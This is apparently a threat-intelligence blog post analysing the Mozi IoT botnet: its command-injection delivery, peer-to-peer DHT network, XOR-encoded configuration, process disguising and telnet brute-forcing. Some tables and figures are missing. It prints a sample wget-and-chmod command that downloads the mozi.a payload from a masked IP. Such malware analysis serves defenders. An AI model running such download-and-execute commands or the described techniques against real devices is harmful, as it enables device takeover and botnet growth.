A relatively new player in the threat arena, the Mozi botnet, has spiked among Internet of things (IoT) devices, IBM X-Force has discovered.

This malware has been active since late 2019 and has code overlap with Mirai and its variants. Mozi accounted for nearly 90% of the observed IoT network traffic from October 2019 through June 2020.

This startling takeover was accompanied by a huge increase in overall IoT botnet activity, suggesting Mozi did not remove competitors from the market. Rather, it flooded the market, dwarfing other variants’ activity. Overall, combined IoT attack instances from October 2019, when attacks began to notably increase, through June 2020 is 400% higher than the combined IoT attack instances for the previous two years.

This surge in IoT attacks could be due to a number of causes, but may in part result from an ever-expanding IoT landscape for threat actors to target. There are about 31 billion IoT devices deployed around the globe, and the IoT deployment rate is now 127 devices per second.

Attackers have been leveraging these devices for some time now, most notably via the Mirai botnet. IBM X-Force Incident Response and Intelligence Services (IRIS) team has been following it for nearly four years. So why the sudden jump? IBM research suggests Mozi continues to be successful largely through the use of command injection (CMDi) attacks, which often result from the misconfiguration of IoT devices. The continued growth of IoT usage and poor configuration protocols are the likely culprits behind this jump. This increase may have been fueled further by corporate networks being accessed remotely more often due to COVID-19.

IoT Devices Are Everywhere

An IoT botnet can be used to perform distributed denial-of-service (DDoS) attacks, steal data and send spam. There are a plethora of different types of IoT devices to exploit:

• Consumer IoT: Home-based devices, such as security cameras, lighting control, appliances, etc.
• Commercial IoT: Devices designed for use in various industries. For instance, healthcare has internet-connected pacemakers and monitors. The transportation and construction industries use devices associated with vehicle trackers, telematics, logistic and supply chain systems and building information modeling.
• Enterprise IoT: Devices designed for use in offices, such as projectors, routers, security systems and digital advertising.
• The Industrial IoT: Industrial control systems, production line automation systems, logic controllers and aircraft systems.
• Infrastructure IoT: Smart city management systems, traffic control devices, utility monitoring devices, etc.
• Internet of Military Things: Wearable combat biometrics devices, robots and surveillance equipment.

This large attack surface leaves organizations vulnerable to IoT botnets. Couple that with the security holes these devices often have out of the box and lax hardening practices upon deployment. The most notable vulnerability in the IoT comes via CMDi attacks.

CMDi Attacks Deliver Mozi Botnet

Nearly all IBM-observed IoT targeting attempted to use CMDi attacks to gain initial access to the device. If the targeted endpoint was an IoT device and is susceptible to these attacks, the payload was downloaded and executed.

CMDi attacks are extremely popular against IoT devices for several reasons. First, IoT embedded systems commonly contain a web interface and a debugging interface left over from firmware development that can be exploited. Second, PHP modules built into IoT web interfaces can be exploited to give malicious actors remote execution capability. And third, IoT interfaces often are left vulnerable when deployed because administrators fail to harden the interfaces by sanitizing expected remote input. This allows threat actors to input shell commands such as “wget”.

Our analysis revealed the Mozi botnet leverages CMDi by using a “wget” shell command, then altering permissions to allow the threat actor to interact with the affected system. For example:

wget http://xxx.xx.xxx.xxx/bins/mozi.a -o /var/tmp/mozi.a; chmod 777 /var/tmp/mozi.a; rm -rf /var/tmp/mozi.a

If the host was vulnerable to CMDi, this command would download and execute a file called “mozi.a.” Our analysis of this particular sample indicates the file executes on microprocessor without interlocked pipelined stages (MIPS) architecture. This is an extension understood by machines running reduced instruction set computer (RISC) architecture, which is prevalent on many IoT devices. Once the attacker gains full access to the device through the botnet, the firmware level can be changed and additional malware can be planted on the device.

Although this example cites a well-known vector, it can continue to be effective for two main reasons. First, new vulnerabilities allow for constant updating of exploitation attempts via CMDi, and slow patch implementation can be exploited. Secondly, this activity is easily automated, allowing threat actors to hit a broad swath of devices quickly at low cost.

The Mozi botnet infrastructure appears primarily sourced in China, accounting for 84% of observed infrastructure. This fact aligns with other open-source research into IoT activity in 2020.

Below is a list of vulnerabilities IBM has observed the Mozi botnet attempting to exploit:

Mozi Botnet Technical Analysis

The Mozi botnet is a peer-to-peer (P2P) botnet based on the distributed sloppy hash table (DSHT) protocol, which can spread via IoT device exploits and weak telnet passwords.

Upon execution, the Mozi botnet attempts to bind local UDP port 14737. The sample reads /proc/net/tcp or /proc/net/raw to find and kill processes that use ports 1536 and 5888. The sample checks whether the file /usr/bin/python exists. If it exists, the sample changes its process name to sshd. Otherwise, the sample changes it to dropbear.

The Mozi botnet is known to have at least two unique characteristics. It uses ECDSA384 (elliptic curve digital signature algorithm 384) to verify its integrity. Additionally, it reuses parts of the Gafgyt code.

It contains hardcoded DHT public nodes, which can be used to join the P2P network. These nodes are:

The Mozi botnet contains four major capabilities. It can conduct DDoS attack (HTTP, TCP, UDP); carry out command execution attack; download malicious payload from specified URL and execute it; and gather bot information.

File Listing

The table below contains high-level details about the files analyzed. The details include both submitted files and residual files. (Residual files are files that are extracted statically or dynamically during malware analysis.) Data includes the file name, the file category as determined by analysis, file hash and file parentage in relation to the other files in the table.

Behavioral Analysis of the Mozi Botnet

Upon execution, the sample attempts to bind local UDP port 14737. The sample reads /proc/net/tcp or /proc/net/raw to find and kill processes that use ports 1536 and 5888. The sample checks if the file /usr/bin/python exists. If it exists, the sample changes its process name to sshd. Otherwise, the sample changes it to dropbear:

The sample also attempts to update the access control list to block SSH and telnet to prevent other botnets from using them.

It also randomly selects hardcoded ports in the iptable:

DHT

The Mozi botnet uses a customized DHT protocol to develop its P2P network. The process of how a new Mozi node joins the DHT network is as follows:

• A new Mozi node will send an initial HTTP request to http[:]//ia[.]51[.]la to register itself.
• A new Mozi node sends a DHT find_node query to eight hardcoded DHT public nodes and connects these nodes to join the network. Find node is used to find the contact information for a node given its ID. These eight hardcoded DHT public nodes are as follows:

The sample needs to generate an ID for the current node. According to a 360 Netlab report about Mozi, the “ID is 20 bytes and consists of the prefix 888888 embedded in the sample or the prefix specified by the config file [hp], plus a randomly generated string.” The config file is shown below:

To join the DHT network, the sample sends a ping query to these hardcoded DHT public nodes. The ping query with node ID is shown in the traffic in the Wireshark figure below.

Static Analysis

Both samples are packed by using a customized UPX packer. It erases the value of p_file_size and p_blocksize to zero in p_info structure.

Configuration File

The sample contains a hardcoded configuration file shown below:

It contains four sections:

• Blue: configuration data (428 bytes)
• Green: ECDSA384 signature 1 (96 bytes)
• Red: Configuration version (4 bytes)
• Black: ECDSA384 signature 2 (96 bytes)

The configuration data is encoded using a hardcoded XOR key, 4E665A8F80C8AC238DAC4706D54F6F7E. The decoded configuration data is shown below:

The configuration data supports multiple commands that are tagged as follows:

The Mozi botnet reuses parts of the Gafgyt code in the DDoS attack. It supports multiple DDoS attack types such as HTTP, TCP, and UDP.

ECDSA384 signature 1 is used to verify the configuration data’s hash value. The hardcoded public key used to verify it is:

It is encoded with XOR key 4E665A8F80C8AC238DAC4706D54F6F7E. The decoded public key is:

Config version determines when to update the bot. It will update the bot when this value is greater than its current value. ECDSA384 signature 2 is used to verify these first three parts of the config file. The hardcoded public key used to verify it is:

It is encoded with XOR key 4E665A8F80C8AC238DAC4706D54F6F7E. The decoded public key is:

Telnet Login Enumeration

In addition to the vulnerabilities the Mozi botnet exploits to obtain access to the victim device, the Mozi botnet can also brute force telnet credentials using a hardcoded list of credentials:

One telnet login brute force used by the sample follows:

Indicators

Mozi.m and Mozi.a

Network

Notable Strings (unpacked)

Conclusion

The IoT botnet landscape continues to shift, and IBM Security’s data suggests threat actors remain active in this space. As newer botnet groups, such as Mozi, ramp up operations and overall IoT activity surges, organizations using IoT devices need to be cognizant of the evolving threat. IBM is increasingly seeing enterprise IoT devices under fire from attackers. Command injection remains the primary infection vector of choice for threat actors, reiterating how important it is to change default device settings and use effective penetration testing to find and fix gaps in the armor.

File Attributes

Mozi.m Metadata

Mozi.a Metadata

5738f1bc69e78d234dd04e2fbfcfb4b86403fc9117b133cf1bb7cda67e7aef0a Metadata

83441d77abb6cf328e77e372dc17c607fb9c4a261722ae80d83708ae3865053d Metadata